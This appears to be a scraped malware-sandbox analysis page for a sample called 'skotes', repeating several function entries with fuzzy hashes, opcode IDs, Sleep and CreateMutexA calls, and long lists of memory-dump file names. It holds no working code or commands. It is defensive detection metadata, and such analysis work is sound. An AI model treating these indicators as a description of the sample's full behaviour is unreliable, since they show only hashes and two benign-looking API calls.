Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: d839946a42ce93c851d7852378e6a1350dba1da26551f343d3f1054334ac6615
Instruction ID: 8165aaefb29b189bc561c9e688ca345dea79aae0494bfb876eebe832dec0e43a
Opcode Fuzzy Hash: d839946a42ce93c851d7852378e6a1350dba1da26551f343d3f1054334ac6615
Instruction Fuzzy Hash: 65314831A94144ABFF18ABB8DDC9B6CB776EBC5314F20421AE014D73D2E73E69808752

Function 0078A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 430a444aed5d522b6346c1c5b8daac2b4abf561d4cbe770a7d808d1c58bc3436
Instruction ID: f190637118f9085c5fe444b5c8e763938f5b4f13d6c10ed4c6037b77946674d5
Opcode Fuzzy Hash: 430a444aed5d522b6346c1c5b8daac2b4abf561d4cbe770a7d808d1c58bc3436
Instruction Fuzzy Hash: DF316A31A44144EBFB18ABB8DCCCB6DB776EBC6310F20421AE114D72D2D73E69808752

Function 0078A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: e621b0fdbf070f15d0083e60c7ed4d6cd790d8f0675bef4c8bdaaaffd8b5ac03
Instruction ID: 195e699adc0df49be72a43d6fceca2925e5d4d8c8f6d76be43a97117b9087424
Opcode Fuzzy Hash: e621b0fdbf070f15d0083e60c7ed4d6cd790d8f0675bef4c8bdaaaffd8b5ac03
Instruction Fuzzy Hash: 86315B31A44140EBFF18ABBCDC8D76DB726EBC5314F20421AE158DB2C6D77E69808762

Function 0078A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: c91b34195531ee8f33c59620cfaec8256d7e9aa699024dbb60d16439af9f246d
Instruction ID: b41698bc820d49b142abdd5305da2d8c0cf51ab383a1e7bfb03721539f82cc1b
Opcode Fuzzy Hash: c91b34195531ee8f33c59620cfaec8256d7e9aa699024dbb60d16439af9f246d
Instruction Fuzzy Hash: FF316E31745104EBFB18EBB8DCC976CB765EBC5314F24421AE054DB2D6D73DA9808752

Function 0078A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 21c9e5aa1cc57c6cbad3b75b2b6add6b1174d064ae58d1fc2ec7fad28a4e03bc
Instruction ID: 983035f58f789399c061f40fe1a8e9c2a5f36a215c97f39a8fb99dcc436a92c4
Opcode Fuzzy Hash: 21c9e5aa1cc57c6cbad3b75b2b6add6b1174d064ae58d1fc2ec7fad28a4e03bc
Instruction Fuzzy Hash: F6318A31745100EBFB18EBB8DC88B6DB776EBC1310F24821AE014DB2D6D73DA9808762

Function 00789ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
